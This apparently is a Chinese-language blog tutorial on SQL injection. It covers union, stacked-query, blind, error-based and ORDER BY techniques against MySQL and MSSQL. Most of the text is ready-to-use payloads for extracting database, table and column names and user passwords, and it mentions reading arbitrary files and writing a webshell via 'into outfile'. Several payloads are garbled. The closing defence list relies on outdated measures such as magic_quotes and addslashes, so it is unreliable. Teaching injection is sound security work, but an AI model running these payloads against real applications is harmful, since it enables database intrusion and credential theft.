sql注入的原理及注入的类型

2020-03-02  本文已影响0人  喵了个咪0

0x01 SQL注入产生的原因:

程序开发过程中没有规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过把SQL命令插入到Web表单递交服务器,最终达到欺骗服务器执行恶意的SQL命令。

0x02 SQL注入的类型:

一:可联合查询注入:

UNION query SQL injection

二:堆叠注入:

Stacked queries SQL injection(可多语句查询注入) mysql  sql server    Postgresql

三:盲注:

1:Boolean-based blind SQL injection(布尔型注入)(盲注的一种,利用页面返回的true和false两种页面,利用页面不同进行猜解数据)

2:Time-based blind SQL injection(基于时间延迟注入)

四:报错型注入

Error-based SQL injection(报错型注入)    (网站将数据库的错误输出了)


0x03UNION query SQL injection(可联合查询注入):

页面有回显的:

?id=1' and 1=1--+     判断注入点

?id=1 order by n    通过升序判断字段

?id=-1 union select 1,2,3,4,....n  判断回显点

?id=-1' union select 1,database(),2,3,.....n#  显示数据库

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#  猜表名

?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#  猜列名

或者

?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用编码就不用单引号,用单引号就不用编码)

?id=-1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #  猜用户数据

?id=-1' union select null,concat_ws(char(32,58,32),user,password) from users #  

?id=-1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #  

load_file()函数读取任意文件

利用into outfile()函数写入一句话拿webshell

0x04  Stacked queries SQL injection(堆叠查询注入)

堆叠查询注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

若页面没有回显(盲注)

?id=1'   判断注入点和类型

?id=1';select if(length(database())>=8,sleep(4),1)   判断当前数据库库名的长度  (若页面延迟,则sql成立)

由于数据库的库名范围一般在a-z,0-9之间,可能有特殊字符,不区分大小写。与boolean注入、时间盲注类似,也使用substr函数来截取database()的值,一次截取一个,注意和limit的从0开始不同,它是从1开始。

?id=1';select if(substr(database(),1,1)='s',sleep(4),1)%23     利用延迟判断数据库的名字

?id=1';select if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(4),1)%23               

                   判断数据库的表名

链接:

https://blog.csdn.net/u010543271/article/details/79363543

0x05  盲注

时间型:通过页面沉睡时间判断

通过 sleep()函数测试,通过if()和sleep()联合逐个猜解数据

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),sleep(4))  --+

如果当前查询的当前数据库ascii(substr(database()),1,1)的第一个字符的ASCII码大于100,ture 沉睡10秒,FALSE 沉睡4秒

基于布尔型:返回true或false

0x06  报错型注入

前提:

一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,

它的特点是注入速度快,但是语句较复杂,不能用group_concat(),只能用limit依次猜解

列如典型payload:

Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

count(*)计数   concat()连接字符   floor()重复数据,返回0,1两个值  group by 进行分组 rand(0)避免数据重复造成的错误

通过updatexml函数:select *from message where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

通过extractvalue函数:select * from message where id=1 and extractvalue(1,concat(0x7c,(select user())));

?id=1'  and (select 1 from (select count(*),concat((select (select (select concat(0x7e7e3a7e7e,count(distinct table_schema),0x7e7e3a7e7e)  from information_schema.tables )) from information_schema.tables  limit 0,1),floor(rand(0)*2))x  from information_schema.tables group by x )a)--+   

 查询数据库的个数count(*)、rand()、group by三者缺一不可

报错注入用一个公式,只要套用公式即可,公式如下:

(select 1 and (select count(*),concat(concat(user()),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select(select (爆错语句)) from information_schema.tables limit 0,1))x frominformation_schema.tables group by x )a)--+

floor()是取整数

rand()在0和1之间产生一个随机数

rand(0)*2将取0到2的随机数

floor(rand()*2)有两条记录就会报错

floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的

count(*)是用来统计结果的,相当于刷新一次结果

group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1

在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

extractvalue() :对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

updatexml()的报错注入

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml的四种注入类型:

a. 载荷格式 :or updatexml(1,concat(0x7e,(version())),0) or

b.insert注入:INSERT INTO users (id, username, password) VALUES (2,'Pseudo_Z' or updatexml(1,concat(0x7e,(version())),0) or'','security-eng');

c. update注入:UPDATE users SET password='security-eng' or updatexml(2,concat(0x7e,(version())),0) or'' WHERE id=2 and username='Pseudo_Z';

d. delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';

报错注入的函数有哪些? 10个

1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------

2)通过floor报错 向下取整

3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)

4).geometrycollection()select from test where id=1 and geometrycollection((select from(selectfrom(select user())a)b));

5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));

6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));

7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));

8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));

10).exp()select from test where id=1 and exp(~(select * from(select user())a));

0x06  ORDER BY 注入

order参数可控:select * from goods order by $_GET['order']

常用的判断手法,加  asc (升序) desc(降序)来看排列是否改变

接下来我们判断order by后面接的参数有没有影响,尝试注入:left(version(),1)和right(version(),1),发现结果没影响,说明后面参数随意,则此时我们可以进行注入,有以下三种注入方式: 

①  直接注入,如:sort=(select username from users limit 0,1)--+,此时将会显示当前表的内容,如图。

这里要注意不论我们注入任何查询,结果能显示的基本都是有限的,我们无法查询到我们查询的信息,例如这里我们注入:sort=(select group_concat(email_id) from emails)--+,结果依旧是只能看当前表的内容。

所以这里就是相当于一种只有通过盲注才能获取到信息的状态,于是对于这种order by后的注入我们一般使用盲注,这里我们使用报错注入(当然其他盲注也都可以尝试):sort= (updatexml (1, concat (0x7e,(select database()),0x7e),1))--+,如图发现成功报错:。

②  使用一些函数,如rand()等,例如:sort=rand(updatexml(1,concat(0x7e,(select database()),0x7e),1))--+,结果一样,就不赘述了。

③  在后面加and,再加入其他语句,例如:sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)--+,结果也一样

0x06  mssql中参数和union之间的位置,常见的可填充方式有如下几种:

1)空白字符 Mssql可以利用的空白字符有:

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)注释符号

Mssql也可以使用注释符号/**/

(3)浮点数

select * from admin where id=1.1union select 1,'2',db_name() from admin

(4)1E0的形式:

select * from admin where id=1e0union select 1,'2',db_name() from admin

防止SQL注入:

1、开启配置文件中的magic_quotes_gpc和magic_quotes_runtime设置

2、执行sql语句时使用addslashes进行sql语句转换

3、Sql语句书写尽量不要省略小引号和单引号

4、过滤掉sql语句中的一些关键字:update、insert、delete、select、*

5、提高数据库表和字段的命名技巧,对一些重要的字段根据程序的特点命名,取不易被猜到的。

6、Php配置文件中设置register_globals为off,关闭全局变量注册

7、控制错误信息,不要再浏览器上输出错误信息,将错误信息写到日志文件中。

参考资料:

https://www.jianshu.com/p/4d7deb4d524a

https://www.cnblogs.com/blacksunny/p/9257352.html

上一篇 下一篇

猜你喜欢

热点阅读